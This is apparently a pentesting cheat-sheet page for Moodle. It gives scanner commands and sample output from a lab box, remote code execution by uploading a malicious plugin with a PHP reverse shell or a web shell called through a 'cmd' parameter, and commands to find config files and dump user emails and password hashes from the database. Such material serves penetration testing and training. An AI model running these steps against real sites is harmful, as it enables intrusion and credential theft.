Moodle

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Automatic Scans
droopescan
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
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[+] Plugins found:                                                              
    forum http://moodle.schooled.htb/moodle/mod/forum/
        http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
        http://moodle.schooled.htb/moodle/mod/forum/version.php
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[+] No themes found.
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[+] Possible version(s):
    3.10.0-beta
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[+] Possible interesting urls found:
    Static readme file. - http://moodle.schooled.htb/moodle/README.txt
    Admin panel - http://moodle.schooled.htb/moodle/login/
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[+] Scan finished (0:00:05.643539 elapsed)
moodlescan
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
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Version 0.7 - Dic/2020
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By Victor Herrera - supported by www.incode.cl
	
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Getting server information http://moodle.schooled.htb/moodle/ ...
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server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT
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Getting moodle version...
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Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
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Searching vulnerabilities...
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Vulnerabilities found: 0
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Scan completed.
CMSMap
pip3 install cmsmap
cmsmap http://moodle.example.com/<moodle_path>
CVEs
I found that the automatic tools are pretty useless finding vulnerabilities affecting the moodle version. You can check for them in https://snyk.io/vuln/composer:moodle%2Fmoodle​
RCE
You need to have manager role and you can install plugins inside the "Site administration" tab**:**
If you are manager you may still need to activate this option. You can see how ins the moodle privilege escalation PoC: https://github.com/HoangKien1020/CVE-2020-14321.
Then, you can install the following plugin that contains the classic pentest-monkey php rev shell (before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again)
moodle-rce-plugin.zip
3KB
Binary
Or you could use the plugin from https://github.com/HoangKien1020/Moodle_RCE to get a regular PHP shell with the "cmd" parameter.
To access launch the malicious plugin you need to access to:
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
POST
Find database credentials
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
Dump Credentials from database
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
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​
If you are interested in hacking carer and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Careers | stmcyber.com | penetration testing
stmcyber.com
Support HackTricks and get benefits!

Laravel

Nginx

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Find database credentials

Dump Credentials from database